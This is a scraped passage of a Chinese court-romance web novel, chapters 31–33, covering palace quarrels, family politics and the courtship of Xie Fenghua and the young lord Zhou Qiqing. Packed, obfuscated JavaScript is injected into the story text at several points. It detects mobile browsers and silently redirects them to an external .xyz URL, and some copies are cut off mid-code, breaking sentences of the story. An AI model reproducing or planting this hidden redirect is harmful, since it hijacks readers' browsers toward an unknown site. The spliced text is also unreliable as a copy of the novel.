只是……她为什么要说出“下嫁农户也绝不嫁他”这种伤心话？ 谢逢华撂下狠话，头也不回地走了。 周其卿心慌得作呕，尚未回过神，双脚先于头脑，追上了她。 “你——” “谢娘子。”脸颊堪堪擦过她的唇畔，身子一沉，沉重的脑袋径直栽入谢逢华温凉的颈窝。 周其卿蹭了蹭她的脖颈，含糊不清道：“谢娘子，我好难受。” 谢逢华愣了下，反手探了下他的额头，确认没有烧坏脑袋，才被下去的火气死灰复燃。 “放开。”谢逢华气得牙痒，碍着面子，又不得不压低声音，“大庭广众搂搂抱抱，你不要脸，我还要脸呢！” 周其卿蹭蹭她的脖颈，胸腔震出几声意味不明的闷笑。 旋即，腰间一松，周遭热度如潮水般迅速褪去。 谢逢华尚在怔愣中，周其卿已与她拉开了半步的距离。 他神色自若，连衣角也不曾褶皱分毫。 周其卿一言不发，只是站在那里，静静看着她脸色由红到青再到红，偏偏束手无策，只得狼狈逃离这是非之地。 “吓到她了啊……” 指腹摩挲过唇峰，周其卿自言自语一番，转身离去。 入夜，夏冬殿春色融融。 殿内共百余花种，其旁皆围炉火，凡是入殿，都要脱几层衣裳。 扑面而来的甜腻花香使容妙凝不觉蹙眉，逡巡一圈，视线停在龙榻上。 “殿下，您已六日没去上朝了，那些折子在相府堆成山，本宫连落脚的地方都找不到。” 万花丛中，启昭帝醉卧其间，闻言，掀了掀眼皮，信手撷下一朵红艳牡丹，抛到容妙凝面前，“相府没地方可以搬去公主府。” 容妙凝踢开挡路的残花败叶，径直走到启昭帝面前，居高临下看着他，“当朝打死十余言官，事后以一句‘失手’草草了事，你就如此放纵你的好宰相在朝中胡作为非？” 启昭帝嗤笑，懒懒翻了个身，背对着她，“都几日前的事了，朕记不清了。” “那些官员家属申冤的血书都扔到公主府来了！你们捅出来的篓子，现在让本宫出面擦屁股，把本宫当成什么了？” “随他们去闹，大不了多给些钱，过段时间也就消停了。”启昭帝摆摆手，语调倦怠，“此事因宰相而起，冤有头债有主，怎么也轮不到朕插手，皇姐还是另请高明罢。” 容妙凝噎了下，看着他无动于衷的背影，竟被自己明知故做的行为逗笑了。 侍女搬来椅子，容妙凝坐了一会儿，道：“本宫方才去了趟春庆宫，与贵妃絮叨了几句家常。” 不出所料，提及贵妃，启昭帝身形一怔，慢慢转过身看她，眼底流淌着名为“哀伤”的情绪。 容妙凝视若无睹，自顾自道：“殊贵妃小产，她整日浸在悲伤中，寝食难安，今日提及陛下种种，更是常哭到昏厥。” 容妙凝环顾四周，吐出口浊气，道：“殊贵妃喜花，您不顾群臣反对，在她的生辰，专门为她建造了这所夏冬殿，因为此事，前朝险些闹翻了天。” 启昭帝双目无神，愣愣望着纵横交错的榫卯房梁，心思难辨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533626|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久，启昭帝张了张血色全无的唇，有气无力：“这是我们第一个孩儿。” 容妙凝正欲安抚，便听启昭帝道：“朕盼了多年，好不容易盼到朕和殊儿第一个孩子，可……” 情至深处，却已是泣不成声。 容妙凝默了片刻，听着压抑的哭声渐渐消沉，姗姗开口：“孩子……总会再有的。” 静谧中忽然泄出一声嗤笑，启昭帝看向她，道：“皇姐，周惕守搪塞了你多少年的话术，您现在却原封不动地拿来敷衍弟弟，您现在，与那周惕守又有何二致？” 容妙凝一怔，脑海空荡，竟是连才说出口的话都忘了个一干二净。 沉默像是一把利剑，将二人血淋淋的心公之于众。 启昭帝苦笑，扯过锦帕，折了几折，覆于湿红的眼睛上。 “皇姐，二公子早夭后不满一月，周惕守就迎娶二夫人进了门，自此再也没踏入您的寝殿。即便如此，您还是为他操持府中大小事宜，为他养育那不争气的世子，甚至还要为那骄纵的二夫人忙上忙下……皇姐，这么多年您都走不出来，为何还要来劝朕放下？” 容妙凝面色冷了下来，道：“陛下管不了朝政，便把手伸到朝臣的家事上了吗？” “皇姐既是如此想，朕也没办法。”启昭帝轻佻一摆手，“朕乏了，皇姐若无旁的事，就回去罢。” 简直无理取闹！ 容妙凝愤然起身，大步朝殿外走去。 行至殿门，启昭帝忽然叫住了她，“等等。” 容妙凝顿足，侧目看向他，“陛下还有何事？” 启昭帝拽下遮目的帕子，撑身坐起，“容祭酒昨日上书，言太学学录一职尚且空缺。朕琢磨着，世子若不喜读书，不如先任学录一职，日后有了功绩，朕再为他另择官职。” 容妙凝稍加思索，衡量之下，还是觉得不妥，“世子年纪尚轻，怕是难当大任。何况华京人才济济，一官万人求，世子如此上位，恐怕难以服众。” 何况她容妙凝的儿子，怎么可能甘愿做一介小官。 “世子性子虽顽劣，但你们的儿子总不会愚笨到连字都不识。”启昭帝不以为然，“世子既不参加科举，又不成亲，朝廷正是用人之际，闲来无事，不如先当个小官历练着。日后朕知会容祭酒，让她多照拂着，也省得那群吃白饭的朝臣天天打着世子的名义戳您脊梁骨。” 虽说卿儿与皇帝关系尚且和睦，为他考虑也算是人之常情。 可在这各党相争的朝堂，如此贸然地将他推上官位，当真是为了卿儿好吗？ “此事事关卿儿前程，为娘的做不了主，”容妙凝迈过赤红的门槛，道，“陛下何不亲自去问问卿儿的意见？” 就是知晓说不通才来找她啊。 目送容妙凝远离，启昭帝无声叹息，心道过阵子定要去白马寺走一遭，去去晦气。 说累了，也哭够了，启昭帝又想到那个尚未出世的孩儿，锦帕捂目，这才勉强不让眼泪再次溢出眼眶。 “陛下。”贴身太监蹑足上前，低声道，“段司业求见，说有要事禀报。” 启昭帝恼怒：“什么要事非得现在来报？” “是——”太监躬身凑到启昭帝身边，低声说了几个字。 启昭帝猛得站起，边往偏殿走边斥道：“现今周围多少人盯着，出了差池，坏了这盘棋，朕可不保你们的脑袋！” 31. 第 31 章 从陈元邑口中得知谢逢华的事情时，容舟是有些惊讶的。 “陈大人。”容舟阅过赋文，面色由忐忑渐渐转为平静，直到阅至尾句，无奈放下纸卷，“在下对此事毫不知情。” 若她知晓，想必也无需经过陈元邑的手。 陈元邑暗忖。 “殿下，陈某今日前来，并非挑理。”陈元邑撂下茶盏，道，“殿下觉得这篇赋文如何？” “字迹俊秀清朗，辞藻华美，条理清晰，堪当上品。” 陈元邑颔首：“长公主引荐的人，自是毫不逊色。只是国子监尚无缺职，倒是听闻太学学录一职尚且空缺，不知殿下可否行个方便，也好让在下对长公主有个交代。” 前太学学录旧疾复发，早早归乡养病去了。 人走了便走了，偏偏留下一堆烂摊子，人人避之不及，容舟跑了几趟国子监，最后实在借不到人，只得向朝廷借人以解燃眉之急。 没想到请来请去，倒是把谢逢华这尊大佛请进了太学。 容舟面露难色：“在下倒是信任谢娘子的才学，可学录一职如千钧重负，谢娘子独木难支，只怕是……” “长公主十八岁便能独自领兵征战沙场，五殿下二十岁成为圣上的肱股之臣，同为女子，在下并不觉得谢娘子与两位殿下有何二致。” 陈元邑轻飘飘拂去衣袖尘埃，道：“能不能做是谢娘子的事，愿不愿意给她一次机会，就要看容大人的意思了。” 咚！ 银针刺破肌肤，一滴血珠凝在指尖。 明玥拾了块帕子按住指尖，扭头望向声源处。 谢逢华伏在桌案上，一只手捂着脑门，姿势诡异。 “应时？”明玥担忧道，“没事罢？” “没事。”谢逢华磨磨蹭蹭哼了几声，慢吞吞扶着桌案起身，眼底乌青一片，格外吓人。 “做噩梦了？”明玥问道。 谢逢华捂着隐隐作痛的额头，忆起梦中情景，热度从脖颈蔓延至整张脸，含糊应了声：“噩梦。” “我有一剂安神的方子，药性温和，你睡前喝一副，两日便可调养好。” “……多谢嫂嫂。” 但谢逢华不是睡不着。 自那日后，谢逢华一闭眼就是周其卿近在咫尺的脸，甚至又是还梦到一些不可描述的…… 谢逢华用力搓了搓脸颊，强打起几分精神，正要继续温习书本，才看了几个字，下人踏入门内，说容祭酒已在门外。 明玥讶然起身：“怎么没提前告知我？” 听闻容舟不约而至，不知怎的，谢逢华心中顿感不妙，心慌得想要先一步离开。 屁股才离座，容舟飘飘然出现在视野里，言笑宴宴：“顺路罢了，你我还需这些虚礼吗？” 她说着，视线却落在谢逢华身上，盯得谢逢华后脊发凉，越发印证了心中的猜想。 明玥也注意到容舟不怎么友善的目光，心下顿然有几分了然，“无事不登三宝殿，莫非家小妹又给你添麻烦了？” 谢逢华抚了下鼻尖，讪然一笑。 “陈元邑？陈大人？”明玥听完前因后果，眉头自始至终没能拧开，“可他怎么会亲自——谢逢华，你要去哪儿？” 谢逢华才迈出去的脚又默默收了回来，乖巧得如同狗窝里才出世的狗崽。 容舟自然而然回答了她的疑惑：“长公主亲笔引荐，谢娘子，原来你接近周世子，是别有目的啊。” 两道视线沉甸甸压在头顶，本就被才学压垮的脑袋更低了几分，“我……其实也有世子从中……帮忙……” “是吗？”容舟挑眉，若有所思，“想来我与外甥已有许久不见了，也不知世子还认不认我这个姨母。” “别！” 谢逢华猛地抬起头，话说出口，对上容舟含笑的目光，才知被套了话。 明玥一拍桌，茶水颤颤巍巍溢出几滴，“老实交代！” 谢逢华挠头，思量之下，决定继续装傻：“交代什么呀？” 容舟轻笑，撂下茶盏，起身去关门。 明玥慢慢挽起长袖，“谢逢华，是我动手还是让你兄长动手？” 谢逢华顿觉不好，一激灵从凳子上弹起，没跑两步就被容舟按住了肩。 眼见明玥气势汹汹朝她逼近，谢逢华叫苦不迭，赶忙服软：“嫂嫂，嫂嫂，你听我给你狡……解释！” 明玥停下了步子，好整以暇地看着她。 谢逢华道：“我答应了长公主，若我自此远离世子，她便帮我引荐到国子监做官。” 只是没想到这陈元邑如此不靠谱，转头就把事情捅到容舟这里。 相比之下，先陈大人的嘴简直天衣无缝，严丝合缝，连他的家人都不知分毫。 若非那些事，恐怕谢逢华也不会借此机会上京寻亲了。 “所有你答应了？”明玥问道。 谢逢华点头如捣蒜。 容舟亦有些意外，思绪纷乱，一时竟不知该从哪位说起。 长公主、世子、陈元邑…… “可我分明记得，陈元邑自一年前就与皇姐交恶，又怎会答应让你做官？” 明玥思索：“或许就是因为他不能收，所有他把人踢给你了。” 什么叫“踢”呀？这词也太难听了。 谢逢华趁机挣脱容舟的桎梏，躲在屏风后，只探出一颗脑袋小心翼翼观察着二人的动作。 “能不能管好你外甥？”明玥没好气道，“若不是周其卿纠缠，我家小妹怎会被长公主找上门威胁？” 容舟垮下脸：“我外甥怎么了？一表人才，仪表堂堂，要家世有家世，要容貌有容貌，要才学有家世，哪里配不上你小妹了？” 明玥道：“他们差三岁！三岁！小妹不可能嫁给一个长不大的小孩。” 容舟：“女大三抱金砖，只是差三岁，又不是差三十岁，周其卿是年轻又不是死了，怎么就长不大了？” “……” 谢逢华捂着耳朵逃离了唇枪舌战的沙场，出来时，心情豁然开朗。 长舒一口气，忽见一人遥遥朝着这边走来，谢逢华眯着眼看了会儿，看清来人样貌，欣然朝他奔去： “兄长！” 周其卿闻声望去，周燕飞不顾下人阻拦，一路闯到桌边，气呼呼地瞪他：“为什么不来找我？” 周铭汗颜：“世子，我们实在拦不住……” 周其卿合上书，抬手让他们离开。 待屋内下人尽数退出，周其卿才耐心道：“这几日忙着考试，顾不上其他。怎么，近日出了什么事吗？” 周燕飞撇撇嘴，绕过桌案，抱住周其卿的胳膊摇啊摇，如小舟荡清波，荡出几滴泪花，“兄长一门心思扑在那位谢娘子身上，都没空陪妹妹放纸鸢了。” “现在哪里是放纸鸢的节气。”周其卿无奈摸摸她的脑袋，“今日二夫人又训斥你了罢，跟兄长说说，是字没写好还是书没背下来？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533627|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周燕飞摇头，脑袋枕在周其卿肩膀上，一张小脸皱巴巴的像个苦瓜，“前两日我把阿娘惹生气了，阿娘这些天总去找大夫人闲话，兄长忙于学业顾不上妹妹，府中能玩的都玩遍了，没意思。” 周燕飞坐正身，晃了晃周其卿的胳膊，恳求道：“兄长陪我去找阿娘道歉好不好？” 周燕飞把崔夫人惹生气也不是一次两次了，每每母女僵战，总要寻个人从中说和。 周其卿见怪不怪，应了声好。 周燕飞显得很高兴，一路上蹦蹦跳跳，拉着周其卿说东道西，一会儿提到西家的糕点甜，一会儿又说北家的老板和善，走着走着，直到被甄姑姑拦下，周燕飞如霜打的茄子，瞬间蔫巴下去。 “世子，小姐，两位夫人正在房内议事，不准任何人打扰，劳烦二位稍待片刻。” 周燕飞拽了拽周其卿的衣袖，小声道：“阿娘是不是还在生我的气？” 周其卿轻轻摇头，想到什么，示意周燕飞噤声。 “……要我说，明家现任家主就是比那老头子更有眼界。”崔夫人轻摇罗扇，语气里藏不住地喜悦，“老头子在世时，文锦苑送出去多少请帖都石沉大海，现任家主一接任，我上次随口一提，哎！两家的事儿就成了。” 容妙凝抿了口茶，道：“先御史一心钻研为官之道，你与他谈商事，他自然不会接应。” 崔夫人轻哼：“我就是看不惯他们贬低我的文锦苑，老头子固步自封，活该赚不到文锦苑的钱。” “……” 又絮叨几句文锦苑，话题又绕回周府。 崔夫人道：“上次老爷来我房中，又提起生子一事，听得我耳朵都起茧了。” 倒茶的手一顿，容妙凝看向她，疑惑：“生子？” “是啊，老爷说世子性情顽劣，日后怕是难当大任，一直想再生个公子接替世子掌管周家，为此还动过纳妾的念头——”崔夫人余光窥着她的神情，小心翼翼道，“这些，老爷从未与您提过？” 握着茶盏的指节泛着骨色的苍白，容妙凝深吸一口气，吐出一句：“二子早夭后，老爷提过一回，但那时我……之后老爷没再提过了。” 房间内是死一般的寂静。 似是自觉说错了话，亦或是感同身受，崔夫人忽然握住容妙凝的手，道：“夫人，我只有世子和燕儿两个孩子，以前是，现在是，以后亦是。” 容妙凝叹气，拍拍她的手，一时竟相顾无言。 “阿娘！” 驻听许久的周燕飞再也忍不住，挣脱周其卿的手，哭喊着扑进崔夫人的怀抱，一抽一哽道：“燕儿不要弟弟妹妹，燕儿只要娘和兄长。” 两位夫人皆面露惊讶，下意识望向周其卿。 周其卿向她们施礼，沉默立于容妙凝身侧，俯首敛目，不辨心绪。 “哎呀，瞧瞧你们一个个的，这副样子做什么呀！让老爷看见可怎么好？”崔夫人手忙脚乱，扯出帕子擦去女儿脸上的泪花，“娘和大夫人开玩笑呢，瞧你们还真信了。” 容妙凝瞥了眼身侧的周其卿，他就站在她的身侧，下颌紧绷，眼底似有一片晶莹。 “卿儿……”容妙凝迟疑开口，“方才那些话，你莫要挂在心上，娘——” 周其卿身形一颤，冷硬地打断了她欲出口的安慰，“让爹看到不好，我……我去外面守着。” 说罢，逃也般的快步离开，只留容妙凝呆呆望着紧闭的门扉，连茶盏倾倒，灼伤手掌亦毫无察觉。 32. 第 32 章 谢逢华陪兄嫂用过晚膳，明玥又拉着她量衣裳尺寸，说要为她提前准备出嫁的嫁衣。 谢逢华是不愿提嫁娶之事的，明玥却道是未雨绸缪，若非知晓嫂嫂的品性，谢逢华当真要怀疑她们是不是背着自己安排了一桩亲事。 忙活好些时候，直到谢逢华累得晕头转向，连连承诺再也不搞先斩后奏那套，兄嫂才肯放人。 谢逢华拖着疲惫的身躯回到闺房，推开门，先是被屋内凭空出现的人吓了一吓。 “你怎么来了？” 谢逢华前脚进屋，后脚反手将门落锁，一套动作行云流水，一气呵成。 周其卿手捧半块青桃啃得正香，闻言望来，道：“谢娘子，您来得晚了。” 整个下午谢逢华都在明玥房中挨骂，挨完一场训还有下一场，听得耳朵都磨出茧子了，哪里知晓周其卿会在此时寻来。 谢逢华看着案上的七零八落的果核和空空如也的茶壶，又看看饿得啃酸桃的周其卿，认命般挽起衣袖，毅然朝着小厨房走去。 不多时，谢逢华端着一碗热腾腾的炒饭出来，而桌上早已被周其卿收拾干净，只留下一张嗷嗷待哺的嘴乖巧地等在桌边。 “何时来的？”谢逢华又续了一壶茶，坐在周其卿对面。 周其卿抱着脸大的碗，吃得气震山河，口中塞得鼓鼓囊囊，含糊不清道：“酉……酉时来的，走的……走的后面的……那个门……” 谢逢华撑腮看着他，揶揄道：“当初是谁说‘堂堂世子不走后门’的？还说什么‘走后门像偷人’，怎的今日转性，来偷我这谢家人了？” 周其卿囫囵咽下口中热米，烫的脸颊微微涨红：“我只偷你这谢家人。” 一句话引得心底酥酥麻麻，谢逢华摸了摸发烫的脸颊，微微别过头，嘀咕道：“登徒子，惯是会胡言乱语。” 周其卿吃得腻口，谢逢华又亲自下厨煮了些清口的蛋花汤，待忙活完，谢逢华解下襻膊，正想去洗脸，一块柔软的丝帕便递到手边。 “多谢。” 周其卿眯了眯眼，没接话，端着汤，小口灌着，眼睛一眨不眨地盯着她。 谢逢华只当他是来蹭吃蹭喝，全无半分继续搭话的心思，随手将丝帕搁在案上，拾起尚未绣完的绣绷，坐在床榻边，借着烛火继续绣花。 “谢娘子？”周其卿干巴巴被晾了会儿，似实在耐不住冷清，没话找话道，“谢娘子可是还在生我的气？” 谢逢华头也懒得抬，道：“世子多虑了。” “你为什么不理我？” “长公主不许。” “可这里只有我们。” “人在做，天在看，世子请自重。” “……” 眼前倏然降下一片人影，吞没了纯白的绣花。 谢逢华抬头，这才发现，不知何时，周其卿已来到她身前。 这人怕不是狸奴转世的？走起路竟丁点声响都没有。 正思忖着，面前人忽而身形一晃，屈膝，慢慢跪在她膝前。 虽曾说受得起周其卿的跪拜，可亲眼看到周其卿毫无征兆地跪在面前，谢逢华无异于看到了族谱的列祖列宗在朝着自己招手。 “这是做什么呀！” 谢逢华吓得绣绷也不缝了，刚要起身将他搀起，周其卿倏然卸了肩，那长臂便如毒蛇般缠上她的小腿。 谢逢华毫无防备，双膝坠力，重心不稳，又跌坐回榻上。 腿上一沉，周其卿竟将头枕在她腿上，只留一颗后脑与她相对。 “你——” “父亲从未信任我。” 谢逢华抬起的手骤然悬在半空，“什么？” “崔夫人说，父亲从未断过纳妾的念头，只为再生一个公子，取代我。” 隔着层层衣料，潮湿的气息滚烫，灼得肌肤湿痒。 可谢逢华却笑不出来。 “父亲常说周氏前途坦荡，他已替我打点好一切，让我不必过分努力，可他分明更偏爱侯府那些世子贵女，他总说我事事不如旁人，可让我上进的是父亲，纵容我胡作非为的也是父亲，到头来，竟是竹篮打水，连个空名都落不着。谢娘子，您说，我是不是太自作多情了？” 温凉的掌心落于头顶，指腹有一下没一下地捋平翘起的发丝，“嗯，是。” 周其卿猛地抬起头，面上流露出几分悲天悯人的伤感，“谢娘子直言不讳，当真伤了晚辈的心。” 你是长辈我也实话实说呀。 谢逢华想。 “世子想听什么，我说给你听。”谢逢华说。 周其卿一把擒住那只欲抽离的手，按回头顶上，心满意足地趴回她的腿上，“撒诈捣虚的话只能骗那些尚未开智的孩童，谢娘子若愿意说，在下亦洗耳恭听。” 仗着他看不见，谢逢华白了他一眼。 谢逢华撒的谎比他吃过的饭都多，若真想骗他，兴许周其卿被她卖进宫中做苦役，他还以为是对他的考验呢。 “谢娘子？”感觉头顶没动静，周其卿抬头瞧她。 谢逢华回神，习惯性揉了揉他的炸毛，“怎么？” “谢学正说你不走了，可是真的？” “嗯。” 周其卿眼底闪过一瞬喜悦，旋即又被一种名为“担忧”的情绪湮灭，“可我母亲那边……” “嗯，有点麻烦。”谢逢华道，“不过未尝没有回旋余地。” 周其卿：“此话怎讲？” 谢逢华凝神看向周其卿，“明年科举，你必须参加。” 周其卿瞪大了眼，“可……可父亲不许我参加科举。” 谢逢华无奈看他一眼：“周其卿，不科考，你如何能入仕？你靠着父亲的名声成为皇帝的肱骨之臣，那也还是你父亲有本事，万一你父亲倒台，你又凭什么立足朝廷？” 本以为上次的教训能让他醒悟，谁曾想，人是睡醒了，才转头的功夫，又蒙头睡起了回笼觉。 难怪长公主不到半百便生出许久白发，有这样执迷不悟还一意孤行的儿子，任谁都要早生华发。 周其卿头埋在膝间闷了一会儿，等得谢逢华双腿麻木无知，才听到一声若有似无的闷哼。 “谢娘子，您费心了。” “不是我费心，是长公主殿下费心。”谢逢华叹气，“父亲是当朝宰相，母亲是当朝长公主，姨母是太学祭酒，舅舅是当朝天子，周其卿，身临宦海，这朝廷的局势，你该看得比我清楚。” 腿上的身子微颤，周其卿撑起身，汗水捂得脸颊泛着莹莹水光，更似是哭过，趴过的衣裙上晕染了小片暗沉。 谢逢华掏出帕子递给他，“周其卿，身为男子，又是当朝宰相的长子，你最该知晓你父亲的心思。” 不然为何要将周惕守的往事千方百计诉说给她呢？ 或许因为看得太过清明，不愿面对残酷的现实，以至于选择逃避，迟迟不愿面对，以至于常触景伤情，逐渐变得畏畏缩缩，瞻前顾后，到最后，蒙蔽的反而是自己的心。 周其卿拭去颊边水渍，对谢逢华伸过来的手熟视无睹，径直将叠好的帕子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着，三个侍女捧着几套衣裳进门，恭敬侍在一旁。 容舟曾道，学官需穿着整洁素净，不可过于张扬，不可袒胸露乳，不可奇装异服，不可披头散发等等。 眼前这些衣裳倒是素净，用的也都是寻常最常见的布料，只是更衣的屏风…… 眼下明玥还在催促着，谢逢华一个头两个大，脑袋里全是如何就地挖坑把周其卿埋入地里藏起来。 “嫂嫂。”谢逢华咬唇，“今日太晚了，不如明日一早再……” “明日你若能早起我随你姓。”明玥不明所以，推着谢逢华朝屏风后走，“都是女子，有什么好害羞的。” 在距离屏风几步远的地方，谢逢华生生刹住了二人的步伐，红着脸夺过衣裳，绕到屏风后，末了朝外喊道：“嫂嫂，你们不要看！” “你这孩子……”明玥无奈，摆摆手，先让侍女先退下了。 屏风后传来窸窸窣窣的衣料摩擦声，明玥闲来无事，着手收拾碗筷。 视线扫过桌案上一抹纯白，明玥拾起丝帕，放在手心捻了捻。 这质感……似乎和文锦苑的月下仙的质感如出一辙。 月下仙一匹布千两银，谢逢华连文锦苑都没去过，又从何得来的这块丝绢？ 明玥抖开帕子，只见绢帕一角，金线交错纵横，织就一个俊秀的“周”字。 33. 第 33 章 屏风后，谢逢华和周其卿面面相觑。 谢逢华抱着衣裳，对还在原地烧开水的周其卿比了个口型：“转过去。” 不知是没听到还是看不懂，顶着一张猴屁股脸，周其卿愣愣站在原地，一动不动。 谢逢华不轻不重照着他小腿踢了一脚，压着嗓道：“转、过、去！” 这下他听见了，呆呆点了点头，磨磨蹭蹭转身面向墙壁。 谢逢华看着面前人的宽厚的脊背，想了想，踮脚按住他的双肩，迫使他蹲在地上。 即便是这样，谢逢华仍有些害怕，掰着他两只无处安放的手，贴在耳上。 “看一眼挖了你的眼睛喂狗。”谢逢华贴近他耳畔，恶狠狠地说。 周其卿点头如捣蒜，生怕她下一秒就动手似的，话音未落，便闭紧了眼。 确认他不会看到自己更衣，谢逢华稍稍松口气，转过身背对他，开始解衣带。 衣带尚未解开，屏风外忽然传来明玥的声音：“应时。” “怎，怎么了嫂嫂？” 谢逢华本就忐忑不安，她这么一唤，六神无主，那解不开的衣扣如同纷乱的思绪，越理越乱。 明玥道：“方才府中来了位贵客，我去接待一下，你试完衣裳且先撂着，明日我再差人改制。” 这个时辰，还有哪位贵客上门？ 听到门扉再次闭合的吱呀声，谢逢华暗暗感谢了今夜上门的那位“救命恩人”，随后将才褪下的外衣拾起，披在身上。 确认明玥带来的人都撤走了，谢逢华绕回屏风后，看着地上某个装鹌鹑的人，忍笑轻踢了下他的屁股，“起来罢，人都走了。” 最为此着急的该是谢逢华，一动不动的周其卿却大汗淋漓，不住地用衣袖擦拭额角，微有些气喘。 谢逢华盯了他半晌，道：“看到了什么？” 周其卿一愣，旋即明白她在说什么，忙道：“我我我什么都没看见。” “什么都没看见？”谢逢华捏着腔调，故意逗他，“那就是全都看见了？” 周其卿欲言又止，磕磕绊绊地说：“看，看见了。” 谢逢华一惊：“看见什么？” 周其卿抬手比划了下肩头，见谢逢华没看懂，“啧”了声，向前一步，将滑落的外衫拽回肩上。 末了，还用手掌压平褶皱，这才道：“现在看不到了。” 谢逢华：“……” 周其卿别过头，避开她利刃似的眼光，“没什么事在下就先告辞了。” 谢逢华按着被抚过的肩头，没什么情绪地“嗯”了声。 走了两步，周其卿停下脚步，侧目看向她，“方才明家主说的‘明日上任’是什么意思？” 谢逢华回神，想也不想道：“明早你便知道了。” 周其卿点头，也没多问，道：“明天见。” 谢逢华后知后觉自己说了什么，转头，房间里却没了周其卿的身影。 周其卿倒不是真的理解了她话里的意思，只是谢逢华一向不喜他过问，若非上次逼的紧了，周其卿竟不知谢逢华能如此理直气壮地说出“利用”二字。 利他用他，是不是表明，他并非一无是处？ 周其卿蹑足潜到后巷，推开后门，迎面撞入一双双虎视眈眈的目光中。 约摸四五人，皆家仆装扮，人手一根腕口粗的木棍，严阵以待。 “世子既然来了，何必急着回去。” 身后，踏着月色，明玥自阴影中走出，言笑晏晏，“让人听去，倒是我明家招待不周，亏待了世子。” 几乎是一瞬间，周其卿放弃了抵抗，欣欣然施了一礼，道：“晚辈不过刚好路过此地，今日明家主且当没看见，来日晚辈必在崔夫人面前替家主多多美言。” 明玥笑道：“虽不敢高攀，但论辈分，我勉强算是看着世子长大的，世子什么性子，容大人心知肚明，我自然也是了解几分的。” 周其卿听出她的弦外之音，面上欠身赔笑，嘴上插科打诨：“晚辈年少轻狂，曾多有得罪，还望明家主大人有大量，不与晚辈一般计较。” “岂敢岂敢，只是我家小妹心思单纯，被歹人的花言巧语迷了心，若有失言错举的地方，还请世子多多包涵。” 二人你一言我一语客套一番，说着说着，周其卿坐在茶室中，看着对面的明玥，心中暗道不妙。 炉上沸水咕噜噜的冒着热气，烹得周其卿心猿意马，仿佛那壶中煮的不是水，而是他那颗躁动不安的心脏。 贴身婢女往炭盆里添了些炭火，只教烧得室内暖如春日，朝明玥行了礼，默声告退。 室内便只有周其卿和明玥二人。 周其卿是装傻又不是真傻，又是搭台子又是念唱白的，不就摆明了要引他登台吗？ 周其卿默了会儿，见明玥没有先开口意思，于是先发制人，率先打破平静：“先是谢学正，继而是我母亲，现在明家主也要棒打鸳鸯吗？” 明玥抬眸，幽幽道：“是两情相悦还是矫情饰诈，世子心知肚明。” “明家主这话便有些伤人心了。”周其卿作势叹气，捂着胸口，一副痛心疾首的模样，“谢娘子于晚辈如时风春雨，晚辈感念谢娘子，无以为报，只能以身相许，你来我往，又有何错？” 明玥波澜不惊：“世子知恩图报，若谢娘子听之，定当为之动容。” 周其卿抿唇，面上浮现一抹不自然。 涟漪散去，湖面平静如渊。 周其卿沉声：“明家主，就事论事，何必牵扯旁人。” “哟，世子不继续装了？” “……” 明玥吹去浮沫，呷了口热茶润喉，慢悠悠道：“唱了十几年的戏，突然有一天，台下来了一位看客。这位看客和其他单纯看戏的宾客不同，她不仅对你出演的角色情有独钟，甚至一眼就瞧出，面具下的您不喜欢这出戏。” “人常道，知音难觅。于是看客和唱角你来我往，日久天长，竟生出情愫。可是角儿是华京万人追捧敬仰的头牌，看客终究只是芸芸众生中微不足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533629|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的一芥，他们其实都清楚，他们注定不可能在一起。” 他们彼此心照不宣，一层薄如蝉翼的窗户纸，遮掩着二人各怀鬼胎的私心。 “其实角儿也知道，那看客只是想借他的名声登上戏台，唱一出自己的戏罢了。可日久生情，情易生而难消，角儿舍不得，也放不下，于是答应了看客的要求，为她布局，为她筹谋，为她……设下圈套。” “世子，您猜猜，衣食无忧的京城名角，为何要冒着被万人指责的风险，无条件帮助籍籍无名的看客呢？到底是为博看客的情，还是醉翁之意，其实并不在酒呢？” 明玥笑吟吟看向他，道：“名角再出名，却也逃不出方寸戏台，看客却是自由的。她可以富贵，可以贫穷，亦可以——” “帮助名角逃离戏台。” 杯壁滚烫，周其卿却仿佛一无所知，反而更用力握紧茶盏。 扑通，扑通。 心跳在嗓中搏动。 垂眸敛目，水面澄澈却幽深，俊俏的容貌在涟漪中扭曲、模糊，到最后，周其卿竟也看不清自己了。 明玥拾起火钳，拨弄炭火，好让炉火烧得更旺盛些。 